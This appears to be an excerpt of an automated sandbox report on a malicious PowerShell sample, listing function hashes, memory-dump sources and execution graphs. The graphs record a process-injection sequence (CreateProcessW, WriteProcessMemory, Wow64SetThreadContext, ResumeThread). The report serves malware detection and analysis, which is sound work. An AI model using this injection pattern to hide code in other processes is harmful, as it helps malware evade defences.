                                                                                                                                          • Snapshot File: hcaresult_6_2_7ffd9b660000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
                                                                                                                                          • Instruction ID: ee5160e22fad0ebfcac28e24ace5bfaaad858ccb63b733201c4c8ca2debd95f9
                                                                                                                                          • Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
                                                                                                                                          • Instruction Fuzzy Hash: 6601A73020CB0C8FDB48EF0CE051AA5B3E0FB85320F10056DE58AC36A1DA32E882CB41
                                                                                                                                          Function 00007FFD9B669DF8 Relevance: .0, Instructions: 38COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000006.00000002.2180482832.00007FFD9B660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B660000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_6_2_7ffd9b660000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 01979e43688ff513f00a034853a6348a52c136e979a6aac7a1a2f0fcf3cf153d
                                                                                                                                          • Instruction ID: d6fd7a45ede14bc6157a96d7862113c86e5b9f7a292a77616c35f1e640823518
                                                                                                                                          • Opcode Fuzzy Hash: 01979e43688ff513f00a034853a6348a52c136e979a6aac7a1a2f0fcf3cf153d
                                                                                                                                          • Instruction Fuzzy Hash: 35F02B3080868D8FDB06DF2488194D57FA0EF17310B050297D458C70B2DB74A558C7C2
                                                                                                                                          Function 00007FFD9B73414D Relevance: .0, Instructions: 37COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000006.00000002.2189910182.00007FFD9B730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B730000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_6_2_7ffd9b730000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 62cab7cd1f09a9a61192362c09180a16f0324a4b27b9f77333df077086b6c1f5
                                                                                                                                          • Instruction ID: bbbdb8bb4fa133454265054866be01bdd19485d9fce381b3525d6bd2eefbd5e1
                                                                                                                                          • Opcode Fuzzy Hash: 62cab7cd1f09a9a61192362c09180a16f0324a4b27b9f77333df077086b6c1f5
                                                                                                                                          • Instruction Fuzzy Hash: D0F0B432B0DA098FDB68EA4CF45189473E0EF55320B1100BAE05DC71B3CA25ED40C741
                                                                                                                                          Function 00007FFD9B734400 Relevance: .0, Instructions: 35COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000006.00000002.2189910182.00007FFD9B730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B730000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_6_2_7ffd9b730000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 15c2286891bb7add6a8dd1f187d2858f1e3366d0c00d5118b79f01fa2504404b
                                                                                                                                          • Instruction ID: 030c34137737a6335a5eba91d86d4ca1cf39832e3aeb7f45ab905515b4cc23a2
                                                                                                                                          • Opcode Fuzzy Hash: 15c2286891bb7add6a8dd1f187d2858f1e3366d0c00d5118b79f01fa2504404b
                                                                                                                                          • Instruction Fuzzy Hash: B5F05E32A0E6498FDBA8EA5CE4658A877E0EF4532075600BAE15DC74B3DA26ED50C750
                                                                                                                                          Function 00007FFD9B7341D1 Relevance: .0, Instructions: 29COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000006.00000002.2189910182.00007FFD9B730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B730000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_6_2_7ffd9b730000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
                                                                                                                                          • Instruction ID: ee87e261c2715ea3daed4f9d1a9fe9f100b3d4193333b4d855529e581c83b04e
                                                                                                                                          • Opcode Fuzzy Hash: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
                                                                                                                                          • Instruction Fuzzy Hash: 19E01A31B0C9089FDAB8DA4CF0519A973E1EB98321B2202BBD14EC7571CA22ED518B80

                                                                                                                                          Non-executed Functions

                                                                                                                                          Function 00007FFD9B668BD3 Relevance: 7.6, Strings: 6, Instructions: 146COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Strings
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000006.00000002.2180482832.00007FFD9B660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B660000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_6_2_7ffd9b660000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID: K_^4$K_^5$K_^@$K_^N$K_^U$K_^Y
                                                                                                                                          • API String ID: 0-4293504607
                                                                                                                                          • Opcode ID: 2ca68e397c88111348ed4f6e583aac351e5719ac6bf14c3284b208b1b7b77d82
                                                                                                                                          • Instruction ID: 70b9c8dac3f5992c3470bbe02dc4c562b7bea5cc8981fe960f03af8abf9af703
                                                                                                                                          • Opcode Fuzzy Hash: 2ca68e397c88111348ed4f6e583aac351e5719ac6bf14c3284b208b1b7b77d82
                                                                                                                                          • Instruction Fuzzy Hash: 513100B7B0852A5E9B1677BCB8915E96B90DF9427938503F7D1B8CF493CC24708B8A80

                                                                                                                                          Execution Graph

                                                                                                                                          Execution Coverage:7.9%
                                                                                                                                          Dynamic/Decrypted Code Coverage:0%
                                                                                                                                          Signature Coverage:0%
                                                                                                                                          Total number of Nodes:33
                                                                                                                                          Total number of Limit Nodes:1
                                                                                                                                          execution_graph 2380 7ffd9b634f3f 2382 7ffd9b634f01 2380->2382 2381 7ffd9b633838 Wow64SetThreadContext 2384 7ffd9b635033 2381->2384 2382->2381 2383 7ffd9b63573d 2382->2383 2346 7ffd9b63588e 2347 7ffd9b63589f CreateProcessW 2346->2347 2349 7ffd9b635a93 2347->2349 2362 7ffd9b6337d3 2363 7ffd9b6337dd CreateProcessW 2362->2363 2365 7ffd9b635a93 2363->2365 2350 7ffd9b635ea4 2351 7ffd9b635ead WriteProcessMemory 2350->2351 2353 7ffd9b635f91 2351->2353 2366 7ffd9b634ed2 2368 7ffd9b634efc 2366->2368 2367 7ffd9b63573d 2368->2367 2371 7ffd9b633838 2368->2371 2370 7ffd9b635033 2372 7ffd9b633841 Wow64SetThreadContext 2371->2372 2374 7ffd9b635c73 2372->2374 2374->2370 2354 7ffd9b635fc5 2355 7ffd9b635fd3 ResumeThread 2354->2355 2357 7ffd9b63606b 2355->2357 2358 7ffd9b635b95 2359 7ffd9b635ba3 Wow64SetThreadContext 2358->2359 2361 7ffd9b635c73 2359->2361 2385 7ffd9b6338fa 2386 7ffd9b633abf 2385->2386 2389 7ffd9b6336f0 2386->2389 2388 7ffd9b633acf 2390 7ffd9b6336f5 CreateProcessW 2389->2390 2392 7ffd9b635a93 2390->2392 2392->2388

                                                                                                                                          Executed Functions

                                                                                                                                          Function 00007FFD9B6336F0 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 413COMMON
                                                                                                                                          Download Yara Rule

                                                                                                                                          Control-flow Graph

                                                                                                                                          Strings
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000014.00000002.2489183826.00007FFD9B630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B630000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_20_2_7ffd9b630000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID: O_^
                                                                                                                                          • API String ID: 0-421064788
                                                                                                                                          • Opcode ID: b7aeb74a3a4d9747c3dc3c9d018e87e3680a53a0988997d8544c895ceeb94910
                                                                                                                                          • Instruction ID: 891494be8de629bed11e223915cac3f53ee856a1919713ee9ede524c3d0e1825
                                                                                                                                          • Opcode Fuzzy Hash: b7aeb74a3a4d9747c3dc3c9d018e87e3680a53a0988997d8544c895ceeb94910
                                                                                                                                          • Instruction Fuzzy Hash: C9D12772A0DA5D8FDB64DB5C98516E97BF0FF98310F0042BBD05DDB292DA30B9858B81
                                                                                                                                          Function 00007FFD9B6337D3 Relevance: 1.8, APIs: 1, Instructions: 316COMMON
                                                                                                                                          Download Yara Rule

                                                                                                                                          Control-flow Graph

                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000014.00000002.2489183826.00007FFD9B630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B630000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_20_2_7ffd9b630000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: fe39fe1d35890d230ce13cd457451b903c37d401793c3ce8bde3b7c9262ad550
                                                                                                                                          • Instruction ID: 3de2ff89c2d0bc99d7bbc7ef2c36da9dd6d5ddbf899e485d3066df7cf2ec16c6
                                                                                                                                          • Opcode Fuzzy Hash: fe39fe1d35890d230ce13cd457451b903c37d401793c3ce8bde3b7c9262ad550
                                                                                                                                          • Instruction Fuzzy Hash: 67A19F71A08A5C8FDB68DF5CD855AE9B7F0EF98320F0042ABD41DE7251CA34A9858F81
                                                                                                                                          Function 00007FFD9B63588E Relevance: 1.8, APIs: 1, Instructions: 268COMMON
                                                                                                                                          Download Yara Rule

                                                                                                                                          Control-flow Graph

                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000014.00000002.2489183826.00007FFD9B630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B630000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_20_2_7ffd9b630000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: ac861685e49fb5cc9be8d48888b7745742cab256b421dc378e5d974fb1721d6c
                                                                                                                                          • Instruction ID: 528e1c733e478eb955bc1ba318ed496cee59d8537071664a87c980ce6053cf35
                                                                                                                                          • Opcode Fuzzy Hash: ac861685e49fb5cc9be8d48888b7745742cab256b421dc378e5d974fb1721d6c
                                                                                                                                          • Instruction Fuzzy Hash: 46916B71918A5C8FDFA9DF58D855AE9BBF1FB98310F0042ABD40DE7251CB30A9858F81
                                                                                                                                          Function 00007FFD9B635EA4 Relevance: 1.6, APIs: 1, Instructions: 139injectionCOMMON
                                                                                                                                          Download Yara Rule

                                                                                                                                          Control-flow Graph

                                                                                                                                          APIs
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000014.00000002.2489183826.00007FFD9B630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B630000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_20_2_7ffd9b630000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID: MemoryProcessWrite
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID: 3559483778-0
                                                                                                                                          • Opcode ID: 087f0ff736ce5f3ae1b583c6e440b87b93543610b063561d0fe1f5430330d17a
                                                                                                                                          • Instruction ID: 1469e43814d688f621d2ee835e0ee16753dc2a5b7e0e8fa7693f5bf5121dd9c3
                                                                                                                                          • Opcode Fuzzy Hash: 087f0ff736ce5f3ae1b583c6e440b87b93543610b063561d0fe1f5430330d17a
                                                                                                                                          • Instruction Fuzzy Hash: 9731F73191DB4C8FEB18DF9898466E97BE0FB59311F00426FE499D3251CB74B845CB92
                                                                                                                                          Function 00007FFD9B635B95 Relevance: 1.6, APIs: 1, Instructions: 132threadCOMMON
                                                                                                                                          Download Yara Rule

                                                                                                                                          Control-flow Graph

                                                                                                                                          APIs
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000014.00000002.2489183826.00007FFD9B630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B630000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_20_2_7ffd9b630000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID: ContextThreadWow64
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID: 983334009-0
                                                                                                                                          • Opcode ID: 06d719e8dfa03a1350a30de8b2d3b816bf860dac8e28934beed97252e8423df9
                                                                                                                                          • Instruction ID: a9b2cb2a279792a5ade8ddbe5f2b45909149b9c48847c2ffa239831dfc979f0b
                                                                                                                                          • Opcode Fuzzy Hash: 06d719e8dfa03a1350a30de8b2d3b816bf860dac8e28934beed97252e8423df9
                                                                                                                                          • Instruction Fuzzy Hash: F141273190D7888FDB16DFA888557E97FF0EF56321F08429BD048C71A7DB64A405CB92
                                                                                                                                          Function 00007FFD9B633838 Relevance: 1.6, APIs: 1, Instructions: 112threadCOMMON
                                                                                                                                          Download Yara Rule

                                                                                                                                          Control-flow Graph

                                                                                                                                          • Executed
                                                                                                                                          • Not Executed
                                                                                                                                          control_flow_graph 105 7ffd9b633838-7ffd9b635c35 109 7ffd9b635c3f-7ffd9b635c71 Wow64SetThreadContext 105->109 110 7ffd9b635c37-7ffd9b635c3c 105->110 111 7ffd9b635c73 109->111 112 7ffd9b635c79-7ffd9b635ca0 109->112 110->109 111->112
                                                                                                                                          APIs
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000014.00000002.2489183826.00007FFD9B630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B630000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_20_2_7ffd9b630000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID: ContextThreadWow64
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID: 983334009-0
                                                                                                                                          • Opcode ID: 4fb9f5393f9cb94d8071432d1cc20130bfdb3fef22642f565430141f89eb8663
                                                                                                                                          • Instruction ID: a5ca74d0417e0c8925aad218d9582db83a36dabc33bd7732bb704fb376287b9f
                                                                                                                                          • Opcode Fuzzy Hash: 4fb9f5393f9cb94d8071432d1cc20130bfdb3fef22642f565430141f89eb8663
                                                                                                                                          • Instruction Fuzzy Hash: BC310431A0CB5C8FDB58DF9C98896E97BE0FB55320F04416FD449C7156DB74A8058B91
                                                                                                                                          Function 00007FFD9B635FC5 Relevance: 1.6, APIs: 1, Instructions: 102threadCOMMON
                                                                                                                                          Download Yara Rule

                                                                                                                                          Control-flow Graph

                                                                                                                                          • Executed
                                                                                                                                          • Not Executed
                                                                                                                                          control_flow_graph 113 7ffd9b635fc5-7ffd9b635fd1 114 7ffd9b635fd3-7ffd9b635fdb 113->114 115 7ffd9b635fdc-7ffd9b636069 ResumeThread 113->115 114->115 118 7ffd9b636071-7ffd9b63608d 115->118 119 7ffd9b63606b 115->119 119->118
                                                                                                                                          APIs
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000014.00000002.2489183826.00007FFD9B630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B630000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_20_2_7ffd9b630000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID: ResumeThread
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID: 947044025-0
                                                                                                                                          • Opcode ID: ebf7970bf28e88108febc7ccd2eae7cfb19df52c694910cccf944fbc84280240
                                                                                                                                          • Instruction ID: ee671e174f713c2be624d11bf7a3667db3ae32ae6f60859a2a48a716b11e4f6f
                                                                                                                                          • Opcode Fuzzy Hash: ebf7970bf28e88108febc7ccd2eae7cfb19df52c694910cccf944fbc84280240
                                                                                                                                          • Instruction Fuzzy Hash: DE21DF3090DA4C8FDB59DBA8C855BA9BBF0FF56320F00426EC059C36A2CB61A456CB81
                                                                                                                                          Function 00007FFD9B7010C9 Relevance: 1.0, Instructions: 976COMMON
                                                                                                                                          Download Yara Rule

                                                                                                                                          Control-flow Graph

                                                                                                                                          • Executed
                                                                                                                                          • Not Executed
                                                                                                                                          control_flow_graph 120 7ffd9b7010c9-7ffd9b7010f9 125 7ffd9b7010fb-7ffd9b701122 120->125 126 7ffd9b701124-7ffd9b70114f 120->126 125->126 131 7ffd9b701156-7ffd9b701167 126->131 132 7ffd9b701151 126->132 135 7ffd9b701169 131->135 136 7ffd9b70116e-7ffd9b701209 131->136 132->131 134 7ffd9b701153 132->134 134->131 135->136 137 7ffd9b70116b 135->137 143 7ffd9b70139a-7ffd9b7013f6 136->143 144 7ffd9b70120f-7ffd9b701219 136->144 137->136 170 7ffd9b7013f8-7ffd9b70141f 143->170 171 7ffd9b701421-7ffd9b70144b 143->171 145 7ffd9b70121b-7ffd9b701230 144->145 146 7ffd9b701232-7ffd9b701237 144->146 145->146 148 7ffd9b701337-7ffd9b701341 146->148 149 7ffd9b70123d-7ffd9b701240 146->149 154 7ffd9b701343-7ffd9b701351 148->154 155 7ffd9b701352-7ffd9b701397 148->155 152 7ffd9b701289 149->152 153 7ffd9b701242-7ffd9b701255 149->153 159 7ffd9b70128b-7ffd9b70128d 152->159 153->143 166 7ffd9b70125b-7ffd9b701265 153->166 155->143 159->148 162 7ffd9b701293-7ffd9b701296 159->162 163 7ffd9b701298-7ffd9b7012a1 162->163 164 7ffd9b7012ad-7ffd9b7012b1 162->164 163->164 164->148 174 7ffd9b7012b7-7ffd9b7012bd 164->174 172 7ffd9b701267-7ffd9b701274 166->172 173 7ffd9b70127e-7ffd9b701287 166->173 170->171 190 7ffd9b701452-7ffd9b701463 171->190 191 7ffd9b70144d 171->191 172->173 180 7ffd9b701276-7ffd9b70127c 172->180 173->159 178 7ffd9b7012d9-7ffd9b7012df 174->178 179 7ffd9b7012bf-7ffd9b7012cc 174->179 184 7ffd9b7012fb-7ffd9b70130e 178->184 185 7ffd9b7012e1-7ffd9b7012f9 178->185 179->178 186 7ffd9b7012ce-7ffd9b7012d7 179->186 180->173 195 7ffd9b701327-7ffd9b701336 184->195 196 7ffd9b701310-7ffd9b701325 184->196 185->184 186->178 197 7ffd9b70146a-7ffd9b7014ca 190->197 198 7ffd9b701465 190->198 191->190 194 7ffd9b70144f 191->194 194->190 196->195 202 7ffd9b701467 197->202 205 7ffd9b7014cc-7ffd9b7014ff 197->205 198->197 198->202 202->197 207 7ffd9b701505-7ffd9b70150f 205->207 208 7ffd9b70168f-7ffd9b7016ed 205->208 209 7ffd9b701529-7ffd9b70152f 207->209 210 7ffd9b701511-7ffd9b70151f 207->210 235 7ffd9b701718-7ffd9b70173d 208->235 236 7ffd9b7016ef-7ffd9b701716 208->236 211 7ffd9b701535-7ffd9b701538 209->211 212 7ffd9b701624-7ffd9b70162e 209->212 210->209 218 7ffd9b701521-7ffd9b701527 210->218 215 7ffd9b70153a-7ffd9b70154d 211->215 216 7ffd9b701581 211->216 219 7ffd9b701641-7ffd9b70168c 212->219 220 7ffd9b701630-7ffd9b701640 212->220 215->208 229 7ffd9b701553-7ffd9b70155d 215->229 222 7ffd9b701583-7ffd9b701585 216->222 218->209 219->208 222->212 225 7ffd9b70158b-7ffd9b70158e 222->225 225->212 230 7ffd9b701594-7ffd9b701597 225->230 232 7ffd9b701576-7ffd9b70157f 229->232 233 7ffd9b70155f-7ffd9b701574 229->233 230->212 234 7ffd9b70159d-7ffd9b7015d1 230->234 232->222 233->232 234->212 255 7ffd9b7015d3-7ffd9b7015d9 234->255 248 7ffd9b701749-7ffd9b701755 235->248 249 7ffd9b70173f-7ffd9b701745 235->249 236->235 250 7ffd9b701757-7ffd9b70175d 248->250 251 7ffd9b701761-7ffd9b7017e4 248->251 249->248 250->251 259 7ffd9b70182b-7ffd9b701835 251->259 260 7ffd9b7017e6-7ffd9b701828 251->260 257 7ffd9b7015db-7ffd9b7015f6 255->257 258 7ffd9b7015f8-7ffd9b70160e 255->258 257->258 265 7ffd9b701614-7ffd9b701623 258->265 263 7ffd9b701837-7ffd9b70183f 259->263 264 7ffd9b701840-7ffd9b70188b 259->264
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000014.00000002.2503829222.00007FFD9B700000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B700000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_20_2_7ffd9b700000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: c4ee5d326dbf98388c5fc63df9e50d2445b757bd89603aef0fcab06b82ea911b
                                                                                                                                          • Instruction ID: d32fc923f20b719432e69929f2af7af6a4a554078a1f7f16d412078c7cebc3aa
                                                                                                                                          • Opcode Fuzzy Hash: c4ee5d326dbf98388c5fc63df9e50d2445b757bd89603aef0fcab06b82ea911b
                                                                                                                                          • Instruction Fuzzy Hash: C852F722B0EBC90FE766976858655B47FE1EF57210B0A02FFE489C75F3D918AD068341
                                                                                                                                          Function 00007FFD9B7014C0 Relevance: .2, Instructions: 213COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000014.00000002.2503829222.00007FFD9B700000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B700000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_20_2_7ffd9b700000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: e2f78a72aa43b3454bf36b92e99c41462df5485c1f7aa26247c2f0a143c38b70
                                                                                                                                          • Instruction ID: 28f7f1fb79191281876a1e067d2b3bbe0b1bc97aff2e4164bd65bc713a704da8
                                                                                                                                          • Opcode Fuzzy Hash: e2f78a72aa43b3454bf36b92e99c41462df5485c1f7aa26247c2f0a143c38b70
                                                                                                                                          • Instruction Fuzzy Hash: BF510921A0FB894FE765966848651747BE1EF57210B0E02FBE4CDCB8B3D918AD068742
                                                                                                                                          Function 00007FFD9B700ACE Relevance: .1, Instructions: 148COMMON
                                                                                                                                          Download Yara Rule

                                                                                                                                          Control-flow Graph

                                                                                                                                          • Executed
                                                                                                                                          • Not Executed
                                                                                                                                          control_flow_graph 273 7ffd9b700ace-7ffd9b700ae4 274 7ffd9b700ae6-7ffd9b700af3 273->274 275 7ffd9b700afd-7ffd9b700b02 273->275 274->275 282 7ffd9b700af5-7ffd9b700afb 274->282 277 7ffd9b700b9a-7ffd9b700ba4 275->277 278 7ffd9b700b08-7ffd9b700b0b 275->278 280 7ffd9b700ba6-7ffd9b700bb2 277->280 281 7ffd9b700bb3-7ffd9b700bf6 277->281 278->277 279 7ffd9b700b11-7ffd9b700b14 278->279 283 7ffd9b700b3b 279->283 284 7ffd9b700b16-7ffd9b700b39 279->284 282->275 286 7ffd9b700b3d-7ffd9b700b3f 283->286 284->286 286->277 289 7ffd9b700b41-7ffd9b700b4b 286->289 289->277 294 7ffd9b700b4d-7ffd9b700b63 289->294 296 7ffd9b700b6a-7ffd9b700b73 294->296 297 7ffd9b700b8c-7ffd9b700b99 296->297 298 7ffd9b700b75-7ffd9b700b82 296->298 298->297 300 7ffd9b700b84-7ffd9b700b8a 298->300 300->297
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000014.00000002.2503829222.00007FFD9B700000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B700000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_20_2_7ffd9b700000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 3e7af61be8b56d99a28c5b98ac25cd181421dfa6e471020b7f9192bcde12ff45
                                                                                                                                          • Instruction ID: a1e6ea4414c6d2d568ff54147092500e97544d410ae4cecb5a34b4ccb65c36fa
                                                                                                                                          • Opcode Fuzzy Hash: 3e7af61be8b56d99a28c5b98ac25cd181421dfa6e471020b7f9192bcde12ff45
                                                                                                                                          • Instruction Fuzzy Hash: 17412722B0EB5E0FEBB596A818616B973D2DF54B24B4902BBD49DC31F6ED08AD014381

                                                                                                                                          Execution Graph

                                                                                                                                          Execution Coverage:3.7%
                                                                                                                                          Dynamic/Decrypted Code Coverage:0%
                                                                                                                                          Signature Coverage:0%
                                                                                                                                          Total number of Nodes:24
                                                                                                                                          Total number of Limit Nodes:3
                                                                                                                                          execution_graph 3292 7ffd9b653df2 3293 7ffd9b656190 Wow64SetThreadContext 3292->3293 3295 7ffd9b656223 3293->3295 3276 7ffd9b656454 3277 7ffd9b65645d WriteProcessMemory 3276->3277 3279 7ffd9b656541 3277->3279 3280 7ffd9b655fae CreateProcessW 3281 7ffd9b656043 3280->3281 3282 7ffd9b656575 3284 7ffd9b656583 3282->3284 3283 7ffd9b656537 3284->3283 3285 7ffd9b6565cb ResumeThread 3284->3285 3286 7ffd9b65661b 3285->3286 3287 7ffd9b656145 3290 7ffd9b656153 3287->3290 3288 7ffd9b656127 3289 7ffd9b6561ef Wow64SetThreadContext 3291 7ffd9b656223 3289->3291 3290->3288 3290->3289 3296 7ffd9b6556d7 3297 7ffd9b6556f1 3296->3297 3299 7ffd9b6555fc 3296->3299 3300 7ffd9b653df8 3297->3300 3301 7ffd9b653e01 WriteProcessMemory 3300->3301 3303 7ffd9b656541 3301->3303 3303->3299

                                                                                                                                          Executed Functions

                                                                                                                                          Function 00007FFD9B656145 Relevance: 1.7, APIs: 1, Instructions: 152threadCOMMON
                                                                                                                                          Download Yara Rule

                                                                                                                                          Control-flow Graph

                                                                                                                                          APIs
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 0000001C.00000002.2897868047.00007FFD9B650000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B650000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_28_2_7ffd9b650000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID: ContextThreadWow64
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID: 983334009-0
                                                                                                                                          • Opcode ID: 23a6828b9d1e48a4c5659e27c9ec6d842b0e7251516f8e07fdce05a24a555a10
                                                                                                                                          • Instruction ID: b310d903d3a8c297793771e157f5c503924aa7ce496de6afde122bed315d94ec
                                                                                                                                          • Opcode Fuzzy Hash: 23a6828b9d1e48a4c5659e27c9ec6d842b0e7251516f8e07fdce05a24a555a10
                                                                                                                                          • Instruction Fuzzy Hash: 1341263190D78C4FDB1ADFAC9C456E97FE0EF56321F0442ABC448C7163DA64A416CB91
                                                                                                                                          Function 00007FFD9B656454 Relevance: 1.6, APIs: 1, Instructions: 139injectionCOMMON
                                                                                                                                          Download Yara Rule

                                                                                                                                          Control-flow Graph

                                                                                                                                          APIs
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 0000001C.00000002.2897868047.00007FFD9B650000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B650000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_28_2_7ffd9b650000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID: MemoryProcessWrite
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID: 3559483778-0
                                                                                                                                          • Opcode ID: 02c1dbdf1e89f84c6751494129b74ba637d438a2a3bf1ed5714827126750be78
                                                                                                                                          • Instruction ID: 99353db85a55c418d14bbd0c97b3b4862e8ebe1a40324d78970752967693f532
                                                                                                                                          • Opcode Fuzzy Hash: 02c1dbdf1e89f84c6751494129b74ba637d438a2a3bf1ed5714827126750be78
                                                                                                                                          • Instruction Fuzzy Hash: C741F63190CB4C8FDB28DF9898456E97BE0FB55321F00826FE099D3291CB74B855CB92
                                                                                                                                          Function 00007FFD9B653DF8 Relevance: 1.6, APIs: 1, Instructions: 131COMMON
                                                                                                                                          Download Yara Rule

                                                                                                                                          Control-flow Graph

                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 0000001C.00000002.2897868047.00007FFD9B650000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B650000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_28_2_7ffd9b650000_powershell.jbxd
